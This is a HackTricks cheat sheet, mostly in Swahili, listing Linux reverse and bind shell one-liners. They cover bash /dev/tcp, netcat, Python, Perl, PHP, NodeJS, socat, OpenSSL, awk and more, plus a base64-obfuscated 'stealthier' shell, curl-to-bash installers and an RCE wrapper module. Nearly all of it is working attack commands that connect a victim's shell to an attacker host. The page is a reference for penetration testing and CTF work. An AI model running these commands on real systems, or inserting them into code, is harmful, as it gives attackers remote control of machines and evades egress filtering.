hacktricks/src/generic-hacking/reverse-shells/linux.md

Shells - Linux

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Ikiwa una maswali kuhusu yoyote ya hizi shells unaweza kuyakagua na https://explainshell.com/

Full TTY

Mara tu unapopata reverse shell soma ukurasa huu ili kupata TTY kamili.

Bash | sh

curl https://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done

#Short and bypass (credits to Dikline)
(sh)0>/dev/tcp/10.10.10.10/9091
#after getting the previous shell to get the output to execute
exec >&0

Usisahau kuangalia na shell nyingine: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, na bash.

Symbol safe shell

#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'

#Stealthier method
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null

Maelezo ya Shell

1. bash -i: Sehemu hii ya amri inaanzisha shell ya Bash ya kuingiliana (-i).
2. >&: Sehemu hii ya amri ni alama ya kifupi kwa kuhamasisha pato la kawaida (stdout) na kosa la kawaida (stderr) kwenda mahali pamoja.
3. /dev/tcp/<ATTACKER-IP>/<PORT>: Hii ni faili maalum ambayo inaonyesha muunganisho wa TCP kwa anwani ya IP na bandari iliyoainishwa.

• Kwa kuhamasisha pato na mstreams ya makosa kwenda kwa faili hii, amri hiyo kwa ufanisi inatuma pato la kikao cha shell ya kuingiliana kwa mashine ya mshambuliaji.

4. 0>&1: Sehemu hii ya amri inaelekeza ingizo la kawaida (stdin) kwenda mahali pamoja na pato la kawaida (stdout).

Unda katika faili na utekeleze

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh

Forward Shell

Wakati wa kushughulikia Remote Code Execution (RCE) udhaifu ndani ya programu ya wavuti inayotumia Linux, kupata reverse shell kunaweza kuzuia na ulinzi wa mtandao kama sheria za iptables au mifumo ya kuchuja pakiti ngumu. Katika mazingira kama haya, njia mbadala ni kuanzisha PTY (Pseudo Terminal) shell ili kuingiliana na mfumo ulioathirika kwa ufanisi zaidi.

Zana inayopendekezwa kwa kusudi hili ni toboggan, ambayo inarahisisha mwingiliano na mazingira ya lengo.

Ili kutumia toboggan kwa ufanisi, tengeneza moduli ya Python iliyoundwa kwa muktadha wa RCE wa mfumo wako wa lengo. Kwa mfano, moduli inayoitwa nix.py inaweza kuandaliwa kama ifuatavyo:

import jwt
import httpx

def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)

response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)

# Check if the request was successful
response.raise_for_status()

return response.text

Na kisha, unaweza kukimbia:

toboggan -m nix.py -i

Ili kutumia moja kwa moja shell ya mwingiliano. Unaweza kuongeza -b kwa ajili ya uunganisho wa Burpsuite na kuondoa -i kwa wrapper ya rce ya msingi zaidi.

Mwingine uwezekano ni kutumia utekelezaji wa shell ya mbele ya IppSec https://github.com/IppSec/forward-shell.

Unahitaji tu kubadilisha:

• URL ya mwenyeji aliye hatarini
• Kichwa na kiambatisho cha payload yako (ikiwa ipo)
• Njia ambayo payload inatumwa (headers? data? taarifa za ziada?)

Kisha, unaweza tu kutuma amri au hata kutumia amri ya upgrade kupata PTY kamili (kumbuka kwamba mabomba yanapozungumziwa na kuandikwa kwa kuchelewesha takriban 1.3s).

Netcat

nc -e /bin/sh <ATTACKER-IP> <PORT>
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe

gsocket

Angalia kwenye https://www.gsocket.io/deploy/

bash -c "$(curl -fsSL gsocket.io/x)"

Telnet

telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe

Whois

Mshambuliaji

while true; do nc -l <port>; done

Ili kutuma amri, andika chini, bonyeza enter na bonyeza CTRL+D (kuacha STDIN)

Mtu aliyeathirika

export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done

Python

#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

Perl

perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

PHP

// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>

<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Ncat

victim> ncat <ip> <port,eg.443> --ssl  -c  "bash -i 2>&1"
attacker> ncat -l <port,eg.443> --ssl

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Lua

#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

NodeJS

(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')

or

// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()


or

// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');

or

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

Zsh (built-in TCP)

# Requires no external binaries; leverages zsh/net/tcp module
zsh -c 'zmodload zsh/net/tcp; ztcp <ATTACKER-IP> <PORT>; zsh -i <&$REPLY >&$REPLY 2>&$REPLY'

Rustcat (rcat)

https://github.com/robiot/rustcat – msikilizaji wa kisasa kama netcat ulioandikwa kwa Rust (imewekwa kwenye Kali tangu 2024).

# Attacker – interactive TLS listener with history & tab-completion
rcat listen -ib 55600

# Victim – download static binary and connect back with /bin/bash
curl -L https://github.com/robiot/rustcat/releases/latest/download/rustcat-x86_64 -o /tmp/rcat \
&& chmod +x /tmp/rcat \
&& /tmp/rcat connect -s /bin/bash <ATTACKER-IP> 55600

Features:

• Optional --ssl flag for encrypted transport (TLS 1.3)
• -s to spawn any binary (e.g. /bin/sh, python3) on the victim
• --up to automatically upgrade to a fully interactive PTY

revsh (encrypted & pivot-ready)

revsh ni mteja/server mdogo wa C unaotoa TTY kamili kupitia tunnel ya Diffie-Hellman iliyosimbwa na inaweza kuambatanisha TUN/TAP interface kwa ajili ya pivoting kama VPN ya kurudi.

# Build (or grab a pre-compiled binary from the releases page)
git clone https://github.com/emptymonkey/revsh && cd revsh && make

# Attacker – controller/listener on 443 with a pinned certificate
revsh -c 0.0.0.0:443 -key key.pem -cert cert.pem

# Victim – reverse shell over TLS to the attacker
./revsh <ATTACKER-IP>:443

Useful flags:

• -b : bind-shell badala ya reverse
• -p socks5://127.0.0.1:9050 : proxy kupitia TOR/HTTP/SOCKS
• -t : tengeneza kiunganishi cha TUN (reverse VPN)

Kwa sababu kikao chote kimefungwa na kuunganishwa, mara nyingi hupita uchujaji rahisi wa egress ambao ungeua shell ya maandiko ya wazi /dev/tcp.

OpenSSL

Mshambuliaji (Kali)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response

Mtu waathirika

#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

Socat

https://github.com/andrew-d/static-binaries

Bind shell

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Reverse shell

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Awk

awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Kidole

Mshambuliaji

while true; do nc -l 79; done

Ili kutuma amri, iandike, bonyeza enter na bonyeza CTRL+D (kuacha STDIN)

Mtu aliyeathirika

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done

Gawk

#!/usr/bin/gawk -f

BEGIN {
Port    =       8080
Prompt  =       "bkd> "

Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}

Xterm

Hii itajaribu kuungana na mfumo wako kwenye bandari 6001:

xterm -display 10.0.0.1:1

Ili kukamata shell ya nyuma unaweza kutumia (ambayo itasikiliza kwenye bandari 6001):

# Authorize host
xhost +targetip
# Listen
Xnest :1

Groovy

by frohoff KUMBUKA: Java reverse shell pia inafanya kazi kwa Groovy

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Marejeleo

• https://highon.coffee/blog/reverse-shell-cheat-sheet/
• http://pentestmonkey.net/cheat-sheet/shells/reverse-shell
• https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/
• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
• https://github.com/robiot/rustcat
• https://github.com/emptymonkey/revsh

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